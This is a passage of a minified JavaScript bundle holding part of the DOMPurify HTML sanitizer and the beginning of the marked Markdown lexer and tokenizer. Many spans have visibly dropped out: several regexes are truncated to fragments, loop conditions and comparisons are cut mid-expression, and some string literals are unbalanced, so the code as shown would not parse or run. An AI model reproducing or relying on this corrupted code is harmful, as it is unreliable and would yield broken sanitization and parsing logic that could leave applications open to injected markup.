pe=null,ke=null;if(Ae)D=""+D;else{const Ke=cm(D,/^[\r\n\t ]+/);ke=Ke&&Ke[0]}hs==="application/xhtml+xml"&&Ts===Pt&&(D=''+D+"");const Be=_?I(D):D;if(Ts===Pt)try{pe=new d().parseFromString(Be,hs)}catch{}if(!pe||!pe.documentElement){pe=N.createDocument(Ts,"template",null);try{pe.documentElement.innerHTML=Vs?T:Be}catch{}}const Ue=pe.body||pe.documentElement;return D&&ke&&Ue.insertBefore(s.createTextNode(ke),Ue.childNodes[0]||null),Ts===Pt?re.call(pe,de?"html":"body")[0]:de?pe.documentElement:Ue},fi=function(D){return M.call(D.ownerDocument||D,D,r.SHOW_ELEMENT|r.SHOW_COMMENT|r.SHOW_TEXT|r.SHOW_PROCESSING_INSTRUCTION|r.SHOW_CDATA_SECTION,null)},Ba=function(D){var pe,ke;D.normalize();const Be=M.call(D.ownerDocument||D,D,r.SHOW_TEXT|r.SHOW_COMMENT|r.SHOW_CDATA_SECTION|r.SHOW_PROCESSING_INSTRUCTION,null);let Ue=Be.nextNode();for(;Ue;){let $t=Ue.data;qa([Q,ae,V],gt=>{$t=Si($t,gt," ")}),Ue.data=$t,Ue=Be.nextNode()}const Ke=(pe=(ke=D.querySelectorAll)===null||ke===void 0?void 0:ke.call(D,"template"))!==null&&pe!==void 0?pe:[];qa(Array.from(Ke),$t=>{kt($t.content)&&Ba($t.content)})},fn=function(D){const pe=w?w(D):null;return typeof pe!="string"||Ct(pe)!=="form"?!1:typeof D.nodeName!="string"||typeof D.textContent!="string"||typeof D.removeChild!="function"||D.attributes!==b(D)||typeof D.removeAttribute!="function"||typeof D.setAttribute!="function"||typeof D.namespaceURI!="string"||typeof D.insertBefore!="function"||typeof D.hasChildNodes!="function"||D.nodeType!==x(D)||D.childNodes!==k(D)},kt=function(D){if(!x||typeof D!="object"||D===null)return!1;try{return x(D)===Ca.documentFragment}catch{return!1}},$s=function(D){if(!x||typeof D!="object"||D===null)return!1;try{return typeof x(D)=="number"}catch{return!1}};function Wt(Ie,D,pe){qa(Ie,ke=>{ke.call(t,D,pe,ls)})}const ya=function(D){let pe=null;if(Wt(Z.beforeSanitizeElements,D,null),fn(D))return Ge(D),!0;const ke=Ct(w?w(D):D.nodeName);if(Wt(Z.uponSanitizeElement,D,{tagName:ke,allowedTags:Y}),U&&D.hasChildNodes()&&!$s(D.firstElementChild)&&us(/<[/\w!]/g,D.innerHTML)&&us(/<[/\w!]/g,D.textContent)||U&&D.namespaceURI===Pt&&ke==="style"&&$s(D.firstElementChild)||D.nodeType===Ca.progressingInstruction||U&&D.nodeType===Ca.comment&&us(/<[/\w]/g,D.data))return Ge(D),!0;if(he[ke]||!(me.tagCheck instanceof Function&&me.tagCheck(ke))&&!Y[ke]){if(!he[ke]&&mn(ke)&&(G.tagNameCheck instanceof RegExp&&us(G.tagNameCheck,ke)||G.tagNameCheck instanceof Function&&G.tagNameCheck(ke)))return!1;if(se&&!Te[ke]){const Ue=A(D),Ke=k(D);if(Ke&&Ue){const $t=Ke.length;for(let gt=$t-1;gt>=0;--gt){const Ot=Re?Ke[gt]:m(Ke[gt],!0);Ue.insertBefore(Ot,y(D))}}}return Ge(D),!0}return(x?x(D):D.nodeType)===Ca.element&&!qe(D)||(ke==="noscript"||ke==="noembed"||ke==="noframes")&&us(/<\/no(script|embed|frames)/i,D.innerHTML)?(Ge(D),!0):(_e&&D.nodeType===Ca.text&&(pe=D.textContent,qa([Q,ae,V],Ue=>{pe=Si(pe,Ue," ")}),D.textContent!==pe&&(ki(t.removed,{element:D.cloneNode()}),D.textContent=pe)),Wt(Z.afterSanitizeElements,D,null),!1)},xa=function(D,pe,ke){if(fe[pe]||Xe&&(pe==="id"||pe==="name")&&(ke in s||ke in sa))return!1;const Be=S[pe]||me.attributeCheck instanceof Function&&me.attributeCheck(pe,D);if(!(J&&!fe[pe]&&us(be,pe))){if(!(we&&us(Oe,pe))){if(!Be||fe[pe]){if(!(mn(D)&&(G.tagNameCheck instanceof RegExp&&us(G.tagNameCheck,D)||G.tagNameCheck instanceof Function&&G.tagNameCheck(D))&&(G.attributeNameCheck instanceof RegExp&&us(G.attributeNameCheck,pe)||G.attributeNameCheck instanceof Function&&G.attributeNameCheck(pe,D))||pe==="is"&&G.allowCustomizedBuiltInElements&&(G.tagNameCheck instanceof RegExp&&us(G.tagNameCheck,ke)||G.tagNameCheck instanceof Function&&G.tagNameCheck(ke))))return!1}else if(!Ye[pe]){if(!us(j,Si(ke,oe,""))){if(!((pe==="src"||pe==="xlink:href"||pe==="href")&&D!=="script"&&dm(ke,"data:")===0&&De[D])){if(!(ie&&!us(le,Si(ke,oe,"")))){if(ke)return!1}}}}}}return!0},Pn=nt({},["annotation-xml","color-profile","font-face","font-face-format","font-face-name","font-face-src","font-face-uri","missing-glyph"]),mn=function(D){return!Pn[Il(D)]&&us(ve,D)},$n=function(D){Wt(Z.beforeSanitizeAttributes,D,null);const pe=D.attributes;if(!pe||fn(D))return;const ke={attrName:"",attrValue:"",keepAttr:!0,allowedAttributes:S,forceKeepAttr:void 0};let Be=pe.length;for(;Be--;){const Ue=pe[Be],Ke=Ue.name,$t=Ue.namespaceURI,gt=Ue.value,Ot=Ct(Ke),ds=gt;let ut=Ke==="value"?ds:OT(ds);if(ke.attrName=Ot,ke.attrValue=ut,ke.keepAttr=!0,ke.forceKeepAttr=void 0,Wt(Z.uponSanitizeAttribute,D,ke),ut=ke.attrValue,it&&(Ot==="id"||Ot==="name")&&dm(ut,Qe)!==0&&(ot(Ke,D),ut=Qe+ut),U&&us(/((--!?|])>)|<\/(style|script|title|xmp|textarea|noscript|iframe|noembed|noframes)/i,ut)){ot(Ke,D);continue}if(Ot==="attributename"&&cm(ut,"href")){ot(Ke,D);continue}if(ke.forceKeepAttr)continue;if(!ke.keepAttr){ot(Ke,D);continue}if(!X&&us(/\/>/i,ut)){ot(Ke,D);continue}_e&&qa([Q,ae,V],hn=>{ut=Si(ut,hn," ")});const ua=Ct(D.nodeName);if(!xa(ua,Ot,ut)){ot(Ke,D);continue}if(_&&typeof u=="object"&&typeof u.getAttributeType=="function"&&!$t)switch(u.getAttributeType(ua,Ot)){case"TrustedHTML":{ut=I(ut);break}case"TrustedScriptURL":{ut=H(ut);break}}if(ut!==ds)try{$t?D.setAttributeNS($t,Ke,ut):D.setAttribute(Ke,ut),fn(D)?Ge(D):rm(t.removed)}catch{ot(Ke,D)}}Wt(Z.afterSanitizeAttributes,D,null)},Ua=function(D){let pe=null;const ke=fi(D);for(Wt(Z.beforeSanitizeShadowDOM,D,null);pe=ke.nextNode();)if(Wt(Z.uponSanitizeShadowNode,pe,null),ya(pe),$n(pe),kt(pe.content)&&Ua(pe.content),(x?x(pe):pe.nodeType)===Ca.element){const Ue=g?g(pe):pe.shadowRoot;kt(Ue)&&(vn(Ue),Ua(Ue))}Wt(Z.afterSanitizeShadowDOM,D,null)},vn=function(D){const pe=[{node:D,shadow:null}];for(;pe.length>0;){const ke=pe.pop();if(ke.shadow){Ua(ke.shadow);continue}const Be=ke.node,Ke=(x?x(Be):Be.nodeType)===Ca.element,$t=k?k(Be):Be.childNodes;if($t)for(let gt=$t.length-1;gt>=0;--gt)pe.push({node:$t[gt],shadow:null});if(Ke){const gt=w?w(Be):null;if(typeof gt=="string"&&Ct(gt)==="template"){const Ot=Be.content;kt(Ot)&&pe.push({node:Ot,shadow:null})}}if(Ke){const gt=g?g(Be):Be.shadowRoot;kt(gt)&&pe.push({node:null,shadow:gt},{node:gt,shadow:null})}}};return t.sanitize=function(Ie){let D=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},pe=null,ke=null,Be=null,Ue=null;if(Vs=!Ie,Vs&&(Ie=""),typeof Ie!="string"&&!$s(Ie)&&(Ie=PT(Ie),typeof Ie!="string"))throw qn("dirty is not a string, aborting");if(!t.isSupported)return Ie;ge||Fe(D),t.removed=[];const Ke=Re&&typeof Ie!="string"&&$s(Ie);if(Ke){const Ot=w?w(Ie):Ie.nodeName;if(typeof Ot=="string"){const ds=Ct(Ot);if(!Y[ds]||he[ds])throw qn("root node is forbidden and cannot be sanitized in-place")}if(fn(Ie))throw qn("root node is clobbered and cannot be sanitized in-place");try{vn(Ie)}catch(ds){throw It(Ie),ds}}else if($s(Ie))pe=Fa(""),ke=pe.ownerDocument.importNode(Ie,!0),ke.nodeType===Ca.element&&ke.nodeName==="BODY"||ke.nodeName==="HTML"?pe=ke:pe.appendChild(ke),vn(ke);else{if(!$e&&!_e&&!de&&Ie.indexOf("<")===-1)return _&&je?I(Ie):Ie;if(pe=Fa(Ie),!pe)return $e?null:je?T:""}pe&&Ae&&Ge(pe.firstChild);const $t=fi(Ke?Ie:pe);try{for(;Be=$t.nextNode();)ya(Be),$n(Be),kt(Be.content)&&Ua(Be.content)}catch(Ot){throw Ke&&It(Ie),Ot}if(Ke)return qa(t.removed,Ot=>{Ot.element&&pi(Ot.element)}),_e&&Ba(Ie),Ie;if($e){if(_e&&Ba(pe),We)for(Ue=$.call(pe.ownerDocument);pe.firstChild;)Ue.appendChild(pe.firstChild);else Ue=pe;return(S.shadowroot||S.shadowrootmode)&&(Ue=ce.call(a,Ue,!0)),Ue}let gt=de?pe.outerHTML:pe.innerHTML;return de&&Y["!doctype"]&&pe.ownerDocument&&pe.ownerDocument.doctype&&pe.ownerDocument.doctype.name&&us(WT,pe.ownerDocument.doctype.name)&&(gt=" -`+gt),_e&&qa([Q,ae,V],Ot=>{gt=Si(gt,Ot," ")}),_&&je?I(gt):gt},t.setConfig=function(){let Ie=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};Fe(Ie),ge=!0},t.clearConfig=function(){ls=null,ge=!1,_=L,T=""},t.isValidAttribute=function(Ie,D,pe){ls||Fe({});const ke=Ct(Ie),Be=Ct(D);return xa(ke,Be,pe)},t.addHook=function(Ie,D){typeof D=="function"&&ki(Z[Ie],D)},t.removeHook=function(Ie,D){if(D!==void 0){const pe=RT(Z[Ie],D);return pe===-1?void 0:IT(Z[Ie],pe,1)[0]}return rm(Z[Ie])},t.removeHooks=function(Ie){Z[Ie]=[]},t.removeAllHooks=function(){Z=bm()},t}var ym=Qg();function Ku(){return{async:!1,breaks:!1,extensions:null,gfm:!0,hooks:null,pedantic:!1,renderer:null,silent:!1,tokenizer:null,walkTokens:null}}var ui=Ku();function Yg(e){ui=e}var Bl={exec:()=>null};function _t(e,t=""){let s=typeof e=="string"?e:e.source;const a={replace:(n,i)=>{let l=typeof i=="string"?i:i.source;return l=l.replace(Ms.caret,"$1"),s=s.replace(n,l),a},getRegex:()=>new RegExp(s,t)};return a}var Ms={codeRemoveIndent:/^(?: {1,4}| {0,3}\t)/gm,outputLinkReplace:/\\([\[\]])/g,indentCodeCompensation:/^(\s+)(?:```)/,beginningSpace:/^\s+/,endingHash:/#$/,startingSpaceChar:/^ /,endingSpaceChar:/ $/,nonSpaceChar:/[^ ]/,newLineCharGlobal:/\n/g,tabCharGlobal:/\t/g,multipleSpaceGlobal:/\s+/g,blankLine:/^[ \t]*$/,doubleBlankLine:/\n[ \t]*\n[ \t]*$/,blockquoteStart:/^ {0,3}>/,blockquoteSetextReplace:/\n {0,3}((?:=+|-+) *)(?=\n|$)/g,blockquoteSetextReplace2:/^ {0,3}>[ \t]?/gm,listReplaceTabs:/^\t+/,listReplaceNesting:/^ {1,4}(?=( {4})*[^ ])/g,listIsTask:/^\[[ xX]\] /,listReplaceTask:/^\[[ xX]\] +/,anyLine:/\n.*\n/,hrefBrackets:/^<(.*)>$/,tableDelimiter:/[:|]/,tableAlignChars:/^\||\| *$/g,tableRowBlankLine:/\n[ \t]*$/,tableAlignRight:/^ *-+: *$/,tableAlignCenter:/^ *:-+: *$/,tableAlignLeft:/^ *:-+ *$/,startATag:/^/i,startPreScriptTag:/^<(pre|code|kbd|script)(\s|>)/i,endPreScriptTag:/^<\/(pre|code|kbd|script)(\s|>)/i,startAngleBracket:/^$/,pedanticHrefTitle:/^([^'"]*[^\s])\s+(['"])(.*)\2/,unicodeAlphaNumeric:/[\p{L}\p{N}]/u,escapeTest:/[&<>"']/,escapeReplace:/[&<>"']/g,escapeTestNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/,escapeReplaceNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/g,unescapeTest:/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/ig,caret:/(^|[^\[])\^/g,percentDecode:/%25/g,findPipe:/\|/g,splitPipe:/ \|/,slashPipe:/\\\|/g,carriageReturn:/\r\n|\r/g,spaceLine:/^ +$/gm,notSpaceStart:/^\S*/,endingNewline:/\n$/,listItemRegex:e=>new RegExp(`^( {0,3}${e})((?:[ ][^\\n]*)?(?:\\n|$))`),nextBulletRegex:e=>new RegExp(`^ {0,${Math.min(3,e-1)}}(?:[*+-]|\\d{1,9}[.)])((?:[ ][^\\n]*)?(?:\\n|$))`),hrRegex:e=>new RegExp(`^ {0,${Math.min(3,e-1)}}((?:- *){3,}|(?:_ *){3,}|(?:\\* *){3,})(?:\\n+|$)`),fencesBeginRegex:e=>new RegExp(`^ {0,${Math.min(3,e-1)}}(?:\`\`\`|~~~)`),headingBeginRegex:e=>new RegExp(`^ {0,${Math.min(3,e-1)}}#`),htmlBeginRegex:e=>new RegExp(`^ {0,${Math.min(3,e-1)}}<(?:[a-z].*>|!--)`,"i")},QT=/^(?:[ \t]*(?:\n|$))+/,YT=/^((?: {4}| {0,3}\t)[^\n]+(?:\n(?:[ \t]*(?:\n|$))*)?)+/,XT=/^ {0,3}(`{3,}(?=[^`\n]*(?:\n|$))|~{3,})([^\n]*)(?:\n|$)(?:|([\s\S]*?)(?:\n|$))(?: {0,3}\1[~`]* *(?=\n|$)|$)/,xo=/^ {0,3}((?:-[\t ]*){3,}|(?:_[ \t]*){3,}|(?:\*[ \t]*){3,})(?:\n+|$)/,eE=/^ {0,3}(#{1,6})(?=\s|$)(.*)(?:\n+|$)/,Ju=/(?:[*+-]|\d{1,9}[.)])/,Xg=/^(?!bull |blockCode|fences|blockquote|heading|html|table)((?:.|\n(?!\s*?\n|bull |blockCode|fences|blockquote|heading|html|table))+?)\n {0,3}(=+|-+) *(?:\n+|$)/,eb=_t(Xg).replace(/bull/g,Ju).replace(/blockCode/g,/(?: {4}| {0,3}\t)/).replace(/fences/g,/ {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g,/ {0,3}>/).replace(/heading/g,/ {0,3}#{1,6}/).replace(/html/g,/ {0,3}<[^\n>]+>\n/).replace(/\|table/g,"").getRegex(),tE=_t(Xg).replace(/bull/g,Ju).replace(/blockCode/g,/(?: {4}| {0,3}\t)/).replace(/fences/g,/ {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g,/ {0,3}>/).replace(/heading/g,/ {0,3}#{1,6}/).replace(/html/g,/ {0,3}<[^\n>]+>\n/).replace(/table/g,/ {0,3}\|?(?:[:\- ]*\|)+[\:\- ]*\n/).getRegex(),Zu=/^([^\n]+(?:\n(?!hr|heading|lheading|blockquote|fences|list|html|table| +\n)[^\n]+)*)/,sE=/^[^\n]+/,Qu=/(?!\s*\])(?:\\.|[^\[\]\\])+/,aE=_t(/^ {0,3}\[(label)\]: *(?:\n[ \t]*)?([^<\s][^\s]*|<.*?>)(?:(?: +(?:\n[ \t]*)?| *\n[ \t]*)(title))? *(?:\n+|$)/).replace("label",Qu).replace("title",/(?:"(?:\\"?|[^"\\])*"|'[^'\n]*(?:\n[^'\n]+)*\n?'|\([^()]*\))/).getRegex(),nE=_t(/^( {0,3}bull)([ \t][^\n]+?)?(?:\n|$)/).replace(/bull/g,Ju).getRegex(),fc="address|article|aside|base|basefont|blockquote|body|caption|center|col|colgroup|dd|details|dialog|dir|div|dl|dt|fieldset|figcaption|figure|footer|form|frame|frameset|h[1-6]|head|header|hr|html|iframe|legend|li|link|main|menu|menuitem|meta|nav|noframes|ol|optgroup|option|p|param|search|section|summary|table|tbody|td|tfoot|th|thead|title|tr|track|ul",Yu=/|$))/,iE=_t("^ {0,3}(?:<(script|pre|style|textarea)[\\s>][\\s\\S]*?(?:[^\\n]*\\n+|$)|comment[^\\n]*(\\n+|$)|<\\?[\\s\\S]*?(?:\\?>\\n*|$)|\\n*|$)|\\n*|$)|)[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$)|<(?!script|pre|style|textarea)([a-z][\\w-]*)(?:attribute)*? */?>(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$)|(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$))","i").replace("comment",Yu).replace("tag",fc).replace("attribute",/ +[a-zA-Z:_][\w.:-]*(?: *= *"[^"\n]*"| *= *'[^'\n]*'| *= *[^\s"'=<>`]+)?/).getRegex(),tb=_t(Zu).replace("hr",xo).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("|table","").replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",fc).getRegex(),lE=_t(/^( {0,3}> ?(paragraph|[^\n]*)(?:\n|$))+/).replace("paragraph",tb).getRegex(),Xu={blockquote:lE,code:YT,def:aE,fences:XT,heading:eE,hr:xo,html:iE,lheading:eb,list:nE,newline:QT,paragraph:tb,table:Bl,text:sE},xm=_t("^ *([^\\n ].*)\\n {0,3}((?:\\| *)?:?-+:? *(?:\\| *:?-+:? *)*(?:\\| *)?)(?:\\n((?:(?! *\\n|hr|heading|blockquote|code|fences|list|html).*(?:\\n|$))*)\\n*|$)").replace("hr",xo).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("blockquote"," {0,3}>").replace("code","(?: {4}| {0,3} )[^\\n]").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",fc).getRegex(),oE={...Xu,lheading:tE,table:xm,paragraph:_t(Zu).replace("hr",xo).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("table",xm).replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",fc).getRegex()},rE={...Xu,html:_t(`^ *(?:comment *(?:\\n|\\s*$)|<(tag)[\\s\\S]+? *(?:\\n{2,}|\\s*$)|\\s]*)*?/?> *(?:\\n{2,}|\\s*$))`).replace("comment",Yu).replace(/tag/g,"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:|[^\\w\\s@]*@)\\b").getRegex(),def:/^ *\[([^\]]+)\]: *]+)>?(?: +(["(][^\n]+[")]))? *(?:\n+|$)/,heading:/^(#{1,6})(.*)(?:\n+|$)/,fences:Bl,lheading:/^(.+?)\n {0,3}(=+|-+) *(?:\n+|$)/,paragraph:_t(Zu).replace("hr",xo).replace("heading",` *#{1,6} *[^ -]`).replace("lheading",eb).replace("|table","").replace("blockquote"," {0,3}>").replace("|fences","").replace("|list","").replace("|html","").replace("|tag","").getRegex()},cE=/^\\([!"#$%&'()*+,\-./:;<=>?@\[\]\\^_`{|}~])/,dE=/^(`+)([^`]|[^`][\s\S]*?[^`])\1(?!`)/,sb=/^( {2,}|\\)\n(?!\s*$)/,uE=/^(`+|[^`])(?:(?= {2,}\n)|[\s\S]*?(?:(?=[\\]*?>/g,ib=/^(?:\*+(?:((?!\*)punct)|[^\s*]))|^_+(?:((?!_)punct)|([^\s_]))/,hE=_t(ib,"u").replace(/punct/g,mc).getRegex(),gE=_t(ib,"u").replace(/punct/g,nb).getRegex(),lb="^[^_*]*?__[^_*]*?\\*[^_*]*?(?=__)|[^*]+(?=[^*])|(?!\\*)punct(\\*+)(?=[\\s]|$)|notPunctSpace(\\*+)(?!\\*)(?=punctSpace|$)|(?!\\*)punctSpace(\\*+)(?=notPunctSpace)|[\\s](\\*+)(?!\\*)(?=punct)|(?!\\*)punct(\\*+)(?!\\*)(?=punct)|notPunctSpace(\\*+)(?=notPunctSpace)",bE=_t(lb,"gu").replace(/notPunctSpace/g,ab).replace(/punctSpace/g,ep).replace(/punct/g,mc).getRegex(),yE=_t(lb,"gu").replace(/notPunctSpace/g,mE).replace(/punctSpace/g,fE).replace(/punct/g,nb).getRegex(),xE=_t("^[^_*]*?\\*\\*[^_*]*?_[^_*]*?(?=\\*\\*)|[^_]+(?=[^_])|(?!_)punct(_+)(?=[\\s]|$)|notPunctSpace(_+)(?!_)(?=punctSpace|$)|(?!_)punctSpace(_+)(?=notPunctSpace)|[\\s](_+)(?!_)(?=punct)|(?!_)punct(_+)(?!_)(?=punct)","gu").replace(/notPunctSpace/g,ab).replace(/punctSpace/g,ep).replace(/punct/g,mc).getRegex(),_E=_t(/\\(punct)/,"gu").replace(/punct/g,mc).getRegex(),wE=_t(/^<(scheme:[^\s\x00-\x1f<>]*|email)>/).replace("scheme",/[a-zA-Z][a-zA-Z0-9+.-]{1,31}/).replace("email",/[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+(@)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?![-_])/).getRegex(),kE=_t(Yu).replace("(?:-->|$)","-->").getRegex(),SE=_t("^comment|^|^<[a-zA-Z][\\w-]*(?:attribute)*?\\s*/?>|^<\\?[\\s\\S]*?\\?>|^|^").replace("comment",kE).replace("attribute",/\s+[a-zA-Z:_][\w.:-]*(?:\s*=\s*"[^"]*"|\s*=\s*'[^']*'|\s*=\s*[^\s"'=<>`]+)?/).getRegex(),Pr=/(?:\[(?:\\.|[^\[\]\\])*\]|\\.|`[^`]*`|[^\[\]\\`])*?/,CE=_t(/^!?\[(label)\]\(\s*(href)(?:(?:[ \t]*(?:\n[ \t]*)?)(title))?\s*\)/).replace("label",Pr).replace("href",/<(?:\\.|[^\n<>\\])+>|[^ \t\n\x00-\x1f]*/).replace("title",/"(?:\\"?|[^"\\])*"|'(?:\\'?|[^'\\])*'|\((?:\\\)?|[^)\\])*\)/).getRegex(),ob=_t(/^!?\[(label)\]\[(ref)\]/).replace("label",Pr).replace("ref",Qu).getRegex(),rb=_t(/^!?\[(ref)\](?:\[\])?/).replace("ref",Qu).getRegex(),TE=_t("reflink|nolink(?!\\()","g").replace("reflink",ob).replace("nolink",rb).getRegex(),tp={_backpedal:Bl,anyPunctuation:_E,autolink:wE,blockSkip:vE,br:sb,code:dE,del:Bl,emStrongLDelim:hE,emStrongRDelimAst:bE,emStrongRDelimUnd:xE,escape:cE,link:CE,nolink:rb,punctuation:pE,reflink:ob,reflinkSearch:TE,tag:SE,text:uE,url:Bl},EE={...tp,link:_t(/^!?\[(label)\]\((.*?)\)/).replace("label",Pr).getRegex(),reflink:_t(/^!?\[(label)\]\s*\[([^\]]*)\]/).replace("label",Pr).getRegex()},jd={...tp,emStrongRDelimAst:yE,emStrongLDelim:gE,url:_t(/^((?:ftp|https?):\/\/|www\.)(?:[a-zA-Z0-9\-]+\.?)+[^\s<]*|^email/,"i").replace("email",/[A-Za-z0-9._+-]+(@)[a-zA-Z0-9-_]+(?:\.[a-zA-Z0-9-_]*[a-zA-Z0-9])+(?![-_])/).getRegex(),_backpedal:/(?:[^?!.,:;*_'"~()&]+|\([^)]*\)|&(?![a-zA-Z0-9]+;$)|[?!.,:;*_'"~)]+(?!$))+/,del:/^(~~?)(?=[^\s~])((?:\\.|[^\\])*?(?:\\.|[^\s~\\]))\1(?=[^~]|$)/,text:/^([`~]+|[^`~])(?:(?= {2,}\n)|(?=[a-zA-Z0-9.!#$%&'*+\/=?_`{\|}~-]+@)|[\s\S]*?(?:(?=[\\":">",'"':""","'":"'"},_m=e=>RE[e];function Aa(e,t){if(t){if(Ms.escapeTest.test(e))return e.replace(Ms.escapeReplace,_m)}else if(Ms.escapeTestNoEncode.test(e))return e.replace(Ms.escapeReplaceNoEncode,_m);return e}function wm(e){try{e=encodeURI(e).replace(Ms.percentDecode,"%")}catch{return null}return e}function km(e,t){var i;const s=e.replace(Ms.findPipe,(l,o,r)=>{let c=!1,d=o;for(;--d>=0&&r[d]==="\\";)c=!c;return c?"|":" |"}),a=s.split(Ms.splitPipe);let n=0;if(a[0].trim()||a.shift(),a.length>0&&!((i=a.at(-1))!=null&&i.trim())&&a.pop(),t)if(a.length>t)a.splice(t);else for(;a.length0?-2:-1}function Sm(e,t,s,a,n){const i=t.href,l=t.title||null,o=e[1].replace(n.other.outputLinkReplace,"$1");a.state.inLink=!0;const r={type:e[0].charAt(0)==="!"?"image":"link",raw:s,href:i,title:l,text:o,tokens:a.inlineTokens(o)};return a.state.inLink=!1,r}function OE(e,t,s){const a=e.match(s.other.indentCodeCompensation);if(a===null)return t;const n=a[1];return t.split(` -`).map(i=>{const l=i.match(s.other.beginningSpace);if(l===null)return i;const[o]=l;return o.length>=n.length?i.slice(n.length):i}).join(` -`)}var $r=class{constructor(e){Et(this,"options");Et(this,"rules");Et(this,"lexer");this.options=e||ui}space(e){const t=this.rules.block.newline.exec(e);if(t&&t[0].length>0)return{type:"space",raw:t[0]}}code(e){const t=this.rules.block.code.exec(e);if(t){const s=t[0].replace(this.rules.other.codeRemoveIndent,"");return{type:"code",raw:t[0],codeBlockStyle:"indented",text:this.options.pedantic?s:Cl(s,` -`)}}}fences(e){const t=this.rules.block.fences.exec(e);if(t){const s=t[0],a=OE(s,t[3]||"",this.rules);return{type:"code",raw:s,lang:t[2]?t[2].trim().replace(this.rules.inline.anyPunctuation,"$1"):t[2],text:a}}}heading(e){const t=this.rules.block.heading.exec(e);if(t){let s=t[2].trim();if(this.rules.other.endingHash.test(s)){const a=Cl(s,"#");(this.options.pedantic||!a||this.rules.other.endingSpaceChar.test(a))&&(s=a.trim())}return{type:"heading",raw:t[0],depth:t[1].length,text:s,tokens:this.lexer.inline(s)}}}hr(e){const t=this.rules.block.hr.exec(e);if(t)return{type:"hr",raw:Cl(t[0],` -`)}}blockquote(e){const t=this.rules.block.blockquote.exec(e);if(t){let s=Cl(t[0],` -`).split(` -`),a="",n="";const i=[];for(;s.length>0;){let l=!1;const o=[];let r;for(r=0;r1,n={type:"list",raw:"",ordered:a,start:a?+s.slice(0,-1):"",loose:!1,items:[]};s=a?`\\d{1,9}\\${s.slice(-1)}`:`\\${s}`,this.options.pedantic&&(s=a?s:"[*+-]");const i=this.rules.other.listItemRegex(s);let l=!1;for(;e;){let r=!1,c="",d="";if(!(t=i.exec(e))||this.rules.block.hr.test(e))break;c=t[0],e=e.substring(c.length);let u=t[2].split(` -`,1)[0].replace(this.rules.other.listReplaceTabs,A=>" ".repeat(3*A.length)),p=e.split(` -`,1)[0],m=!u.trim(),h=0;if(this.options.pedantic?(h=2,d=u.trimStart()):m?h=t[1].length+1:(h=t[2].search(this.rules.other.nonSpaceChar),h=h>4?1:h,d=u.slice(h),h+=t[1].length),m&&this.rules.other.blankLine.test(p)&&(c+=p+` -`,e=e.substring(p.length+1),r=!0),!r){const A=this.rules.other.nextBulletRegex(h),g=this.rules.other.hrRegex(h),b=this.rules.other.fencesBeginRegex(h),x=this.rules.other.headingBeginRegex(h),w=this.rules.other.htmlBeginRegex(h);for(;e;){const _=e.split(` -`,1)[0];let T;if(p=_,this.options.pedantic?(p=p.replace(this.rules.other.listReplaceNesting," "),T=p):T=p.replace(this.rules.other.tabCharGlobal," "),b.test(p)||x.test(p)||w.test(p)||A.test(p)||g.test(p))break;if(T.search(this.rules.other.nonSpaceChar)>=h||!p.trim())d+=` -`+T.slice(h);else{if(m||u.replace(this.rules.other.tabCharGlobal," ").search(this.rules.other.nonSpaceChar)>=4||b.test(u)||x.test(u)||g.test(u))break;d+=` -`+p}!m&&!p.trim()&&(m=!0),c+=_+` -`,e=e.substring(_.length+1),u=T.slice(h)}}n.loose||(l?n.loose=!0:this.rules.other.doubleBlankLine.test(c)&&(l=!0));let y=null,k;this.options.gfm&&(y=this.rules.other.listIsTask.exec(d),y&&(k=y[0]!=="[ ] ",d=d.replace(this.rules.other.listReplaceTask,""))),n.items.push({type:"list_item",raw:c,task:!!y,checked:k,loose:!1,text:d,tokens:[]}),n.raw+=c}const o=n.items.at(-1);if(o)o.raw=o.raw.trimEnd(),o.text=o.text.trimEnd();else return;n.raw=n.raw.trimEnd();for(let r=0;ru.type==="space"),d=c.length>0&&c.some(u=>this.rules.other.anyLine.test(u.raw));n.loose=d}if(n.loose)for(let r=0;r({text:r,tokens:this.lexer.inline(r),header:!1,align:i.align[c]})));return i}}lheading(e){const t=this.rules.block.lheading.exec(e);if(t)return{type:"heading",raw:t[0],depth:t[2].charAt(0)==="="?1:2,text:t[1],tokens:this.lexer.inline(t[1])}}paragraph(e){const t=this.rules.block.paragraph.exec(e);if(t){const s=t[1].charAt(t[1].length-1)===` -`?t[1].slice(0,-1):t[1];return{type:"paragraph",raw:t[0],text:s,tokens:this.lexer.inline(s)}}}text(e){const t=this.rules.block.text.exec(e);if(t)return{type:"text",raw:t[0],text:t[0],tokens:this.lexer.inline(t[0])}}escape(e){const 